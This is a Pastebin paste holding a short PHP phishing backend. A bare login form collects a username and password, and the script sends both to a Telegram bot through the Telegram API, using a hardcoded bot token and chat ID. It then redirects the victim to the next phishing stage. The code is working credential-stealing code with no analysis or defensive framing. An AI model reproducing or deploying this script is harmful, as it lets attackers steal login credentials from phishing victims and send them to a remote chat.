Advertisement
redhat99

Untitled

Jun 5th, 2023 (edited)
32
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.09 KB | None | 0 0
  1. <?php
  2. session_start();
  3.  
  4. if (isset($_POST['submit'])) {
  5. $user = $_POST['user'];
  6. $pass = $_POST['pass'];
  7. $message ="username :".$user."\npassword :".$pass."";
  8. $botToken="1694224755:AAEKMQOfWWl3LUN6R4BI7MFM4k1bynKnxj0";
  9. $chatId="1300035109";
  10. $website="https://api.telegram.org/bot".$botToken;
  11. $params=[
  12. 'chat_id'=>$chatId,
  13. 'text'=>$message,
  14. ];
  15. $ch = curl_init($website . '/sendMessage');
  16. curl_setopt($ch, CURLOPT_HEADER, false);
  17. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  18. curl_setopt($ch, CURLOPT_POST, 1);
  19. curl_setopt($ch, CURLOPT_POSTFIELDS, ($params));
  20. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  21. $result = curl_exec($ch);
  22. curl_close($ch);
  23. header('location: index.php?client=email');
  24.  
  25. }else{
  26. header('location: index.php?client=login');
  27. }
  28.  
  29.  
  30.  
  31.  
  32. ?>
  33. <!DOCTYPE html>
  34. <html>
  35. <head>
  36. <title></title>
  37. </head>
  38. <body>
  39. <form action="#" method="POST">
  40. <input type="text" name="user"><br>
  41. <input type="password" name="pass"><br>
  42. <input type="submit" name="submit"><br>
  43. </form>
  44. </body>
  45. </html>
  46.  
  47.  
  48.  
  49.  
  50.  
  51.  
  52.  
  53.  
  54.  
  55.  
  56.  
  57.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement